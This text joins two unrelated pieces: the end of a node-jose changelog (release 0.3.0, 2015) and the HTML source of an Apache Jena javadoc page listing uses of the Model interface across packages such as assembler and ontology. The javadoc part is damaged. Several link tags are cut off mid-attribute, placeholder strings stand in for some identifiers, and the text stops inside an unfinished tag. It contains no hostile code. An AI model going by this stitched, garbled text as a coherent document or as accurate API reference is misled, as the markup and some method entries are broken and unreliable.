([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) Doc * fix code blocks to render as blocks consistently ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) * update readme to reflect NPM publication ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) Build * browserify is only a devDependency ([<SHA1-like>](https://github.com/cisco/node-jose/commit/<SHA1-like>)) <a name="0.3.0"></a> ## [0.3.0] (2015-09-11) Initial public release.
<!DOCTYPE HTML PUBLIC "- <!-- NewPage --> <html lang="en"> <head> <!-- Generated by javadoc (version 1.7.0_21) on Sat May 11 22:07:16 BST 2013 --> <meta http-equiv="Content-Type" content="text/html" charset="UTF-8"> <title>Uses of Interface com.hp.hpl.jena.rdf.model.Model (Apache Jena)</title> <meta name="date" content="2013-05-11"> <link rel="stylesheet" type="text/css" href="../../../../../../../stylesheet.css" title="Style"> </head> <body> <script type="text/javascript"><! if (location.href.indexOf('is-external=true') == -1) { parent.document.title="Uses of Interface com.hp.hpl.jena.rdf.model.Model (Apache Jena)"; } </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> <div class="topNav"><a name="navbar_top"> </a><a href="#skip-navbar_top" title="Skip navigation links"></a><a name="navbar_top_firstrow"> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../../../../overview-summary.html">Overview</a></li> <li><a href="../package-summary.html">Package</a></li> <li><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Class</a></li> <li class="navBarCell1Rev">Use</li> <li><a href="../package-tree.html">Tree</a></li> <li><a href="../../../../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../../../../index-all.html">Index</a></li> <li><a href="../../../../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li>Prev</li> <li>Next</li> </ul> <ul class="navList"> <li><a href="../../../../../../../index.html?com/hp/hpl/jena/rdf/model/class-use/Model.html" target="_top">Frames</a></li> <li><a href="Model.html" target="_top">No Frames</a></li> </ul> <ul class="navList" id="<API key>"> <li><a href="../../../../../../../allclasses-noframe.html">All Classes</a></li> </ul> <div> <script type="text/javascript"><! allClassesLink = document.getElementById("<API key>"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } </script> </div> <a name="skip-navbar_top"> </a></div> <div class="header"> <h2 title="Uses of Interface com.hp.hpl.jena.rdf.model.Model" class="title">Uses of Interface<br>com.hp.hpl.jena.rdf.model.Model</h2> </div> <div class="classUseContainer"> <ul class="blockList"> <li class="blockList"> <table border="0" cellpadding="3" cellspacing="0" summary="Use table, listing packages, and an explanation"> <caption><span>Packages that use <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Package</th> <th class="colLast" scope="col">Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><a href="#com.hp.hpl.jena.assembler">com.hp.hpl.jena.assembler</a></td> <td class="colLast">&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><a href="#com.hp.hpl.jena.ontology">com.hp.hpl.jena.ontology</a></td> <td class="colLast"> <div class="block"> Provides a set of abstractions and convenience classes for accessing and manipluating ontologies represented in RDF.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><a href="#com.hp.hpl.jena.rdf.arp">com.hp.hpl.jena.rdf.arp</a></td> <td class="colLast"> <div class="block">A parser for <a href="http: </td> </tr> <tr class="rowColor"> <td class="colFirst"><a href="#com.hp.hpl.jena.rdf.listeners">com.hp.hpl.jena.rdf.listeners</a></td> <td class="colLast"> <div class="block">A package defining some useful implementations of <code><API key></code>, for listening to (a) all triples added or removed, exploding composite objects, (b) all objects added or removed, as themselves, (c) notification of additions/removals, but no details, and (d) accepting but ignoring all changes, as a base-class to be extended.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><a href="#com.hp.hpl.jena.rdf.model">com.hp.hpl.jena.rdf.model</a></td> <td class="colLast"> <div class="block">A package for creating and manipulating RDF graphs.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><a href="#com.hp.hpl.jena.rdf.model.impl">com.hp.hpl.jena.rdf.model.impl</a></td> <td class="colLast"> <div class="block">This package contains implementations of the interfaces defined in the .model package, eg ModelCom for Model, ResourceImpl for Resource, and so on.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><a href="#com.hp.hpl.jena.reasoner">com.hp.hpl.jena.reasoner</a></td> <td class="colLast"> <div class="block">The Jena2 reasoner subsystem is designed to allow a range of inference engines to be plugged into Jena.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><a href="#com.hp.hpl.jena.reasoner.rulesys">com.hp.hpl.jena.reasoner.rulesys</a></td> <td class="colLast"> <div class="block"> Provides a selection of simple rule engines for Jena inference models.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><a href="#com.hp.hpl.jena.reasoner.transitiveReasoner">com.hp.hpl.jena.reasoner.transitiveReasoner</a></td> <td class="colLast"> <div class="block">This package contains a reasoner which supports <API key> closure of subPropertyOf and subClassOf relations.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><a href="#com.hp.hpl.jena.shared">com.hp.hpl.jena.shared</a></td> <td class="colLast"> <div class="block">This package defines some classes common to the Jena API and SPI levels, in particular the JenaException class from which all Jena-specific exceptions hang, and the interface PrefixMapping for translation to and from QNames.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><a href="#com.hp.hpl.jena.util">com.hp.hpl.jena.util</a></td> <td class="colLast"> <div class="block"> Miscellaneous collection of utility classes.</div> </td> </tr> </tbody> </table> </li> <li class="blockList"> <ul class="blockList"> <li class="blockList"><a name="com.hp.hpl.jena.assembler"> </a> <h3>Uses of <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a> in <a href="../../../../../../../com/hp/hpl/jena/assembler/package-summary.html">com.hp.hpl.jena.assembler</a></h3> <table border="0" cellpadding="3" cellspacing="0" summary="Use table, listing methods, and an explanation"> <caption><span>Methods in <a href="../../../../../../../com/hp/hpl/jena/assembler/package-summary.html">com.hp.hpl.jena.assembler</a> that return <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Method and Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Content.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/assembler/Content.html#fill(com.hp.hpl.jena.rdf.model.Model)">fill</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m)</code> <div class="block">Answer the model <code>m</code> after filling it with the contents described by this object.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>static <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">AssemblerHelp.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/assembler/AssemblerHelp.html#fullModel(com.hp.hpl.jena.assembler.ImportManager, com.hp.hpl.jena.rdf.model.Model)">fullModel</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/assembler/ImportManager.html" title="class in com.hp.hpl.jena.assembler">ImportManager</a>&nbsp;im, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m)</code> <div class="block">Answer the full model of <code>m</code>, with all its imports included and with the necessary properties added from the JA schema.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>static <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">AssemblerHelp.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/assembler/AssemblerHelp.html#fullModel(com.hp.hpl.jena.rdf.model.Model)">fullModel</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m)</code> <div class="block">Answer the full model of <code>m</code>, with all its imports included and with the necessary properties added from the JA schema.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>static <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">JA.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/assembler/JA.html#getSchema()">getSchema</a></strong>()</code>&nbsp;</td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Assembler.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/assembler/Assembler.html#openModel(com.hp.hpl.jena.rdf.model.Resource)">openModel</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a>&nbsp;root)</code> <div class="block">Answer <code>(Model) open( this, root, Mode.DEFAULT )</code>, unless the result cannot be or is not a Model, in which case throw an exception.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Assembler.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/assembler/Assembler.html#openModel(com.hp.hpl.jena.rdf.model.Resource, com.hp.hpl.jena.assembler.Mode)">openModel</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a>&nbsp;root, <a href="../../../../../../../com/hp/hpl/jena/assembler/Mode.html" title="class in com.hp.hpl.jena.assembler">Mode</a>&nbsp;mode)</code> <div class="block">Answer <code>(Model) open( this, root, mode )</code>, unless the result cannot be or is not a Model, in which case throw an exception.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ImportManager.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/assembler/ImportManager.html#withImports(com.hp.hpl.jena.util.FileManager, com.hp.hpl.jena.rdf.model.Model)">withImports</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/util/FileManager.html" title="class in com.hp.hpl.jena.util">FileManager</a>&nbsp;fm, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model)</code> <div class="block">Answer <code>model</code> if it has no imports, or a union model with <code>model</code> as its base and its imported models as the other components.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ImportManager.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/assembler/ImportManager.html#withImports(com.hp.hpl.jena.rdf.model.Model)">withImports</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model)</code> <div class="block">Answer <code>model</code> if it has no imports, or a union model with <code>model</code> as its base and its imported models as the other components.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>static <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelExpansion.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/assembler/ModelExpansion.html#withSchema(com.hp.hpl.jena.rdf.model.Model, com.hp.hpl.jena.rdf.model.Model)">withSchema</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;schema)</code> <div class="block">Answer a new model which is the aggregation of the statements of <code>model</code> the non-bnode subclass statements of <code>schema</code> the subclass closure of those statements the rdf:type statements implied by the rdfs:domain statements of <code>schema</code> and the <code>model</code> statements using that statements property similarly for rdfs:range the rdf:type statements implied by the subclass closure </div> </td> </tr> </tbody> </table> <table border="0" cellpadding="3" cellspacing="0" summary="Use table, listing methods, and an explanation"> <caption><span>Methods in <a href="../../../../../../../com/hp/hpl/jena/assembler/package-summary.html">com.hp.hpl.jena.assembler</a> with parameters of type <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Method and Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><code>static void</code></td> <td class="colLast"><span class="strong">ModelExpansion.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/assembler/ModelExpansion.html#addSubClassClosure(com.hp.hpl.jena.rdf.model.Model)">addSubClassClosure</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m)</code> <div class="block">Do (limited) subclass closure on <code>m</code>.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">Content.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/assembler/Content.html#fill(com.hp.hpl.jena.rdf.model.Model)">fill</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m)</code> <div class="block">Answer the model <code>m</code> after filling it with the contents described by this object.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>static <a href="http://docs.oracle.com/javase/6/docs/api/java/util/Set.html?is-external=true" title="class or interface in java.util">Set</a>&lt;<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a>&gt;</code></td> <td class="colLast"><span class="strong">AssemblerHelp.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/assembler/AssemblerHelp.html#findAssemblerRoots(com.hp.hpl.jena.rdf.model.Model)">findAssemblerRoots</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model)</code> <div class="block">Answer a Set of the ja:Object resources in the full expansion of the assembler specification model <code>model</code>.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>static <a href="http://docs.oracle.com/javase/6/docs/api/java/util/Set.html?is-external=true" title="class or interface in java.util">Set</a>&lt;<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a>&gt;</code></td> <td class="colLast"><span class="strong">AssemblerHelp.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/assembler/AssemblerHelp.html#findAssemblerRoots(com.hp.hpl.jena.rdf.model.Model, com.hp.hpl.jena.rdf.model.Resource)">findAssemblerRoots</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a>&nbsp;type)</code> <div class="block">Answer a Set of the objects in the full expansion of the assembler specification <code>model</code> which have rdf:type <code>type</code>, which <i>must</i> be a subtype of <code>ja:Object</code>.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>static <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">AssemblerHelp.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/assembler/AssemblerHelp.html#fullModel(com.hp.hpl.jena.assembler.ImportManager, com.hp.hpl.jena.rdf.model.Model)">fullModel</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/assembler/ImportManager.html" title="class in com.hp.hpl.jena.assembler">ImportManager</a>&nbsp;im, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m)</code> <div class="block">Answer the full model of <code>m</code>, with all its imports included and with the necessary properties added from the JA schema.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>static <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">AssemblerHelp.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/assembler/AssemblerHelp.html#fullModel(com.hp.hpl.jena.rdf.model.Model)">fullModel</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m)</code> <div class="block">Answer the full model of <code>m</code>, with all its imports included and with the necessary properties added from the JA schema.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>static void</code></td> <td class="colLast"><span class="strong">AssemblerHelp.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/assembler/AssemblerHelp.html#<API key>(com.hp.hpl.jena.assembler.assemblers.AssemblerGroup, com.hp.hpl.jena.rdf.model.Model)"><API key></a></strong>(com.hp.hpl.jena.assembler.assemblers.AssemblerGroup&nbsp;g, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m)</code> <div class="block">Load all the classes which are objects of any (t, ja:loadClass, S) statements in <code>m</code>.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>static void</code></td> <td class="colLast"><span class="strong">AssemblerHelp.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/assembler/AssemblerHelp.html#<API key>(com.hp.hpl.jena.assembler.assemblers.AssemblerGroup, com.hp.hpl.jena.rdf.model.Model)"><API key></a></strong>(com.hp.hpl.jena.assembler.assemblers.AssemblerGroup&nbsp;group, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;m)</code> <div class="block">Load all the classes which are objects of any (t, ja:assembler, S) statements in <code>m</code>.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>static <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a></code></td> <td class="colLast"><span class="strong">AssemblerHelp.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/assembler/AssemblerHelp.html#singleModelRoot(com.hp.hpl.jena.rdf.model.Model)">singleModelRoot</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;singleRoot)</code> <div class="block">Answer the single resource in <code>singleRoot</code> of type <code>ja:Model</code>.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>static <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a></code></td> <td class="colLast"><span class="strong">AssemblerHelp.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/assembler/AssemblerHelp.html#singleRoot(com.hp.hpl.jena.rdf.model.Model, com.hp.hpl.jena.rdf.model.Resource)">singleRoot</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;singleRoot, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Resource.html" title="interface in com.hp.hpl.jena.rdf.model">Resource</a>&nbsp;type)</code> <div class="block">Answer the single resource in <code>singleRoot</code> of type <code>type</code>.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ImportManager.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/assembler/ImportManager.html#withImports(com.hp.hpl.jena.util.FileManager, com.hp.hpl.jena.rdf.model.Model)">withImports</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/util/FileManager.html" title="class in com.hp.hpl.jena.util">FileManager</a>&nbsp;fm, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model)</code> <div class="block">Answer <code>model</code> if it has no imports, or a union model with <code>model</code> as its base and its imported models as the other components.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ImportManager.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/assembler/ImportManager.html#withImports(com.hp.hpl.jena.rdf.model.Model)">withImports</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model)</code> <div class="block">Answer <code>model</code> if it has no imports, or a union model with <code>model</code> as its base and its imported models as the other components.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>static <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">ModelExpansion.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/assembler/ModelExpansion.html#withSchema(com.hp.hpl.jena.rdf.model.Model, com.hp.hpl.jena.rdf.model.Model)">withSchema</a></strong>(<a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;model, <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a>&nbsp;schema)</code> <div class="block">Answer a new model which is the aggregation of the statements of <code>model</code> the non-bnode subclass statements of <code>schema</code> the subclass closure of those statements the rdf:type statements implied by the rdfs:domain statements of <code>schema</code> and the <code>model</code> statements using that statements property similarly for rdfs:range the rdf:type statements implied by the subclass closure </div> </td> </tr> </tbody> </table> </li> <li class="blockList"><a name="com.hp.hpl.jena.ontology"> </a> <h3>Uses of <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a> in <a href="../../../../../../../com/hp/hpl/jena/ontology/package-summary.html">com.hp.hpl.jena.ontology</a></h3> <table border="0" cellpadding="3" cellspacing="0" summary="Use table, listing subinterfaces, and an explanation"> <caption><span>Subinterfaces of <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a> in <a href="../../../../../../../com/hp/hpl/jena/ontology/package-summary.html">com.hp.hpl.jena.ontology</a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Interface and Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><code>interface&nbsp;</code></td> <td class="colLast"><code><strong><a href="../../../../../../../com/hp/hpl/jena/ontology/OntModel.html" title="interface in com.hp.hpl.jena.ontology">OntModel</a></strong></code> <div class="block"> An enhanced view of a Jena model that is known to contain ontology data, under a given ontology <a href="../../../../../../../com/hp/hpl/jena/ontology/Profile.html" title="interface in com.hp.hpl.jena.ontology"><code>vocabulary</code></a> (such as OWL).</div> </td> </tr> </tbody> </table> <table border="0" cellpadding="3" cellspacing="0" summary="Use table, listing methods, and an explanation"> <caption><span>Methods in <a href="../../../../../../../com/hp/hpl/jena/ontology/package-summary.html">com.hp.hpl.jena.ontology</a> that return <a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Method and Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">OntModelSpec.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/ontology/OntModelSpec.html#createBaseModel()">createBaseModel</a></strong>()</code> <div class="block">Answer a base model constructed according to this specification.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">OntModelSpec.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/ontology/OntModelSpec.html#doCreateModel()">doCreateModel</a></strong>()</code> <div class="block">Create an OntModel according to this model specification.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">OntModel.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/ontology/OntModel.html#getBaseModel()">getBaseModel</a></strong>()</code> <div class="block"> Answer the base model of this model.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">OntDocumentManager.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/ontology/OntDocumentManager.html <div class="block"> Answer the cached model corresponding to the given document, if known.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">OntModelSpec.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/ontology/OntModelSpec.html <div class="block">Create an OntModel according to this model specification.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">OntModel.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/ontology/OntModel.html <div class="block">Write a serialization of this model as an XML document.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">OntModel.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/ontology/OntModel.html <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;lang)</code> <div class="block">Write a serialized representation of this model in a specified language.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">OntModel.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/ontology/OntModel.html <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;lang, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;base)</code> <div class="block">Write a serialized representation of a model in a specified language.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">OntModel.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/ontology/OntModel.html <div class="block">Write the model as an XML document.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">OntModel.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/ontology/OntModel.html <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;lang)</code> <div class="block">Write a serialized representation of a model in a specified language.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../../com/hp/hpl/jena/rdf/model/Model.html" title="interface in com.hp.hpl.jena.rdf.model">Model</a></code></td> <td class="colLast"><span class="strong">OntModel.</span><code><strong><a href="../../../../../../../com/hp/hpl/jena/ontology/OntModel.html <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;lang, <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/String.html?is-external=true" title="class or interface in java.lang">String</a>&nbsp;base)</code> <div class="block">Write a serialized representation of a model in a specified language.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a 